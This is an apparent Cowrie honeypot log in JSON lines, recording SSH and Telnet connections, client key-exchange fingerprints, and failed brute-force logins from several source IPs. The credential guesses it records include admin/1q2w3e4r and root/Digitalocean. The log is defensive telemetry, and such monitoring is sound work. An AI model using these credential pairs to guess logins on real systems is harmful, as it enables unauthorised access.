{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e!@#","message":"login attempt [admin/1q2w3e!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:39.367738Z","src_ip":"159.203.92.129","session":"7ed07d104406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:25:40.429936Z","src_ip":"159.203.92.129","session":"7ed07d104406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00750041007996,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:16.012072Z","src_ip":"176.29.26.223","session":"73b00c313d78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28049,"dst_ip":"159.203.135.109","dst_port":23,"session":"514d35294312","protocol":"telnet","message":"New connection: 176.29.26.223:28049 (159.203.135.109:23) [session: 514d35294312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:19.622056Z"}
{"eventid":"cowrie.session.closed","duration":120.0018162727356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:19.862479Z","src_ip":"176.29.26.223","session":"f9606ec98c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00274896621704,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:21.313246Z","src_ip":"176.29.26.223","session":"9545532071d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":24811,"dst_ip":"159.203.135.109","dst_port":23,"session":"36aea8c4df6c","protocol":"telnet","message":"New connection: 176.29.26.223:24811 (159.203.135.109:23) [session: 36aea8c4df6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:21.647448Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c59f2fa8f81d","protocol":"ssh","message":"New connection: 159.203.92.129:34830 (159.203.135.109:22) [session: c59f2fa8f81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:23.099666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:23.105403Z","src_ip":"159.203.92.129","session":"c59f2fa8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:23.115151Z","src_ip":"159.203.92.129","session":"c59f2fa8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r","message":"login attempt [admin/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:23.128733Z","src_ip":"159.203.92.129","session":"c59f2fa8f81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:24.136576Z","src_ip":"159.203.92.129","session":"c59f2fa8f81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":58134,"dst_ip":"10.17.0.5","dst_port":22,"session":"0601c435c2d9","protocol":"ssh","message":"New connection: 165.154.5.148:58134 (10.17.0.5:22) [session: 0601c435c2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:28.239866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:28.245009Z","src_ip":"165.154.5.148","session":"0601c435c2d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:28.458234Z","src_ip":"165.154.5.148","session":"0601c435c2d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789z","message":"login attempt [root/123456789z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:29.340499Z","src_ip":"165.154.5.148","session":"0601c435c2d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":44110,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e4032e8aa5","protocol":"ssh","message":"New connection: 176.53.96.10:44110 (10.17.0.5:22) [session: 41e4032e8aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:30.354497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:30.359634Z","src_ip":"176.53.96.10","session":"41e4032e8aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:30.481089Z","src_ip":"176.53.96.10","session":"41e4032e8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:30.556535Z","src_ip":"165.154.5.148","session":"0601c435c2d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test9","password":"test9","message":"login attempt [test9/test9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:30.995744Z","src_ip":"176.53.96.10","session":"41e4032e8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:26:32.119842Z","src_ip":"176.53.96.10","session":"41e4032e8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55766,"dst_ip":"159.203.135.109","dst_port":22,"session":"d607fa824abd","protocol":"ssh","message":"New connection: 159.203.92.129:55766 (159.203.135.109:22) [session: d607fa824abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:04.533112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:04.537598Z","src_ip":"159.203.92.129","session":"d607fa824abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:04.542260Z","src_ip":"159.203.92.129","session":"d607fa824abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5t","message":"login attempt [admin/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:04.553403Z","src_ip":"159.203.92.129","session":"d607fa824abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:05.559236Z","src_ip":"159.203.92.129","session":"d607fa824abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":36202,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2931dd3b3b","protocol":"ssh","message":"New connection: 165.154.5.148:36202 (10.17.0.5:22) [session: 0b2931dd3b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:22.589211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:22.594528Z","src_ip":"165.154.5.148","session":"0b2931dd3b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:22.808673Z","src_ip":"165.154.5.148","session":"0b2931dd3b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lm@123456","message":"login attempt [root/Lm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:23.699973Z","src_ip":"165.154.5.148","session":"0b2931dd3b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:24.923366Z","src_ip":"165.154.5.148","session":"0b2931dd3b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd33766f99c","protocol":"ssh","message":"New connection: 176.53.96.10:39170 (10.17.0.5:22) [session: 9fd33766f99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:32.136978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:32.142159Z","src_ip":"176.53.96.10","session":"9fd33766f99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:32.263638Z","src_ip":"176.53.96.10","session":"9fd33766f99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean","message":"login attempt [root/Digitalocean] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:32.781101Z","src_ip":"176.53.96.10","session":"9fd33766f99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:33.909174Z","src_ip":"176.53.96.10","session":"9fd33766f99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59286,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cc4a7d133a0","protocol":"ssh","message":"New connection: 159.203.92.129:59286 (159.203.135.109:22) [session: 8cc4a7d133a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:46.492734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:46.506950Z","src_ip":"159.203.92.129","session":"8cc4a7d133a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:46.514905Z","src_ip":"159.203.92.129","session":"8cc4a7d133a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qa2ws3ed","message":"login attempt [admin/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:46.569693Z","src_ip":"159.203.92.129","session":"8cc4a7d133a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:27:47.578260Z","src_ip":"159.203.92.129","session":"8cc4a7d133a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":56434,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab23b4016b3","protocol":"ssh","message":"New connection: 165.154.5.148:56434 (10.17.0.5:22) [session: 7ab23b4016b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:16.389199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:16.395700Z","src_ip":"165.154.5.148","session":"7ab23b4016b3","protocol":"ssh"}
